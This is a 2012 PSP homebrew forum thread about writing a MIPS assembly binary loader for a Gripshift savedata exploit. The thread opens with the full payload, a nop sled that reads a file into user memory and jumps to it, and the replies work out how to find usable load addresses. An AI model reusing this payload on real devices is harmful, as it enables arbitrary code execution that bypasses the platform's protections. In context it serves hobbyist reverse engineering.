Random Homebrew: FontHack Installer by Skylark
Replaces the system font
Friends: Coding 'n Cracking - Nymphaea - PS3 Forum - darkforestgroup - daxhordes.org - Tgames - coldbird - gopsp.it - pspstation.org - prometheus - hgoel.info - MakeSmartTV - ps vita

Writing a binary loader for savedata exploit

Post crashes / information about (potential) security issues over here! Sensitive information might be deleted without notice.

Writing a binary loader for savedata exploit

Postby frostegater » Fri May 18, 2012 6:03 am

I have 1 question. Need update address's:

Code: Select all
/* by MaTiAz :) */

.set noat
.set noreorder

/* gripshift text address is 0x08804000 */

/* i can has nopsled lol */
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

/*sceIoOpen: Gripshift.text_addr + 0x187B10 */
addiu $a0, $ra, 0xC0   /* filename, plz2hex in the file yourself, offset 0x168 */
nop
li $a1, 1
li $a2, 31
jal 0x08A6985C      /* sceIoOpen */
nop

move $a0, $v0      /* set the return value of the function for arg0 of the next function */

lui $a1, 0x0881      /* arg1 is 0x08810000, load address of the binary file */
lui $a2, 1      /* arg2, read 0x10000 bytes from the file */
jal 0x08A697FC      /* sceIoRead */
nop

jal 0x08A69854      /* sceIoClose */
nop

lui $a0, 0x0881
lui $a1, 0x1
jal 0x08A6965C      /* sceKernelDcacheInvalidateRange */
nop

nop
nop
li $a0, 0x08810000
jr $a0
nop


In this code all address's be in usermem (0x088xxxxx), but prxtool outputed address from PRX. Example: 0x0006FFF1. What I can get address's from usermem?
Ugly planes don`t fly. © Alexey Tupolev
frostegater
Guru
 
Posts: 422
Joined: Mon Jan 24, 2011 1:54 pm
Location: Russia, Magadan

Re: Writing a binary loader for savedata exploit

Postby JJS » Fri May 18, 2012 6:26 am

Add the load address of the module to it. The firmware always loads the main game module to 0x08804000.
JJS
Big Beholder
 
Posts: 1516
Joined: Mon Sep 27, 2010 2:18 pm

Re: Writing a binary loader for savedata exploit

Postby frostegater » Fri May 18, 2012 6:52 am

JJS wrote:Add the load address of the module to it. The firmware always loads the main game module to 0x08804000.


maybe no addr + 0x08804000, but addr + load_module_addr + 0x08804000, or no?

upd/ ahh my fail.. but in gripshift sceIoOpen.. 0x08A6985C - 0x187B10 != 0x08804000
Ugly planes don`t fly. © Alexey Tupolev
frostegater
Guru
 
Posts: 422
Joined: Mon Jan 24, 2011 1:54 pm
Location: Russia, Magadan

Re: Writing a binary loader for savedata exploit

Postby frostegater » Fri May 18, 2012 8:48 am

first question ok, but second)

what I can find load address of the binary file? in Gripshift it is 0x881, but in everybody's sukkiri 0x8E0.
Ugly planes don`t fly. © Alexey Tupolev
frostegater
Guru
 
Posts: 422
Joined: Mon Jan 24, 2011 1:54 pm
Location: Russia, Magadan

Re: Writing a binary loader for savedata exploit

Postby wololo » Fri May 18, 2012 11:16 am

Frostegater wrote:what I can find load address of the binary file? in Gripshift it is 0x881, but in everybody's sukkiri 0x8E0.

Usually any address is fine.
Historically, we always used 0x881, but for patapon2, 0x881 was a very important portion of the game code (stop_module), so it crashed the game, so we started using a different address in the end. In general, you can use any user address you want
I have a few US PSN codes to sell for a reasonable price (cheaper than pcgamesupply). PM me if interested, 1st come 1st serve basis..

Looking for guest bloggers and news hunters here at wololo.net, PM me!
wololo
Site Admin
 
Posts: 4641
Joined: Wed Oct 15, 2008 12:42 am
Location: Japan

Re: Writing a binary loader for savedata exploit

Postby wth » Fri May 18, 2012 11:52 am

JJS wrote:Add the load address of the module to it. The firmware always loads the main game module to 0x08804000.

hm well, sometimes it's 0x08900000 or 0x08800000 too
And sometimes the game's eboot is even an elf, so then prxtool's output address is already correct
wth
HBL Developer
 
Posts: 587
Joined: Wed Aug 31, 2011 4:44 pm

Re: Writing a binary loader for savedata exploit

Postby frostegater » Fri May 18, 2012 11:56 am

More thanks, JJS and wololo.

hm well, sometimes it's 0x08900000 or 0x08800000 too
And sometimes the game's eboot is even an elf, so then prxtool's output address is already correct

hmm..what I can check load game address if it != 0x08804000?
Ugly planes don`t fly. © Alexey Tupolev
frostegater
Guru
 
Posts: 422
Joined: Mon Jan 24, 2011 1:54 pm
Location: Russia, Magadan

Re: Writing a binary loader for savedata exploit

Postby m0skit0 » Fri May 18, 2012 7:18 pm

@wth: PRX are ELF, always. Maybe you meant a static ELF. Also about using 0x08800000, IIRC that's where sceKernelLibrary is always loaded, so you shouldn't overwrite that.

@Frostegater: You can use PSPLink's modlist + modinfo to get any info you want about modules.
I wanna lots of mov al,0xb
Image
"just not into this RA stuffz"
User avatar
m0skit0
Guru
 
Posts: 4783
Joined: Mon Sep 27, 2010 6:01 pm

Re: Writing a binary loader for savedata exploit

Postby wth » Fri May 18, 2012 7:37 pm

m0skit0 wrote:PRX are ELF, always. Maybe you meant a static ELF. Also about using 0x08800000, IIRC that's where sceKernelLibrary is always loaded, so you shouldn't overwrite that.

yeah indeed
Also I know 0x08800000 is weïrd, but if I remember correctly I once disassembled something that loaded at this address
wth
HBL Developer
 
Posts: 587
Joined: Wed Aug 31, 2011 4:44 pm

Re: Writing a binary loader for savedata exploit

Postby m0skit0 » Fri May 18, 2012 8:16 pm

m0skit0 wrote:sceKernelLibrary

:mrgreen:
I wanna lots of mov al,0xb
Image
"just not into this RA stuffz"
User avatar
m0skit0
Guru
 
Posts: 4783
Joined: Mon Sep 27, 2010 6:01 pm

Next

Return to Security

Who is online

Users browsing this forum: No registered users and 2 guests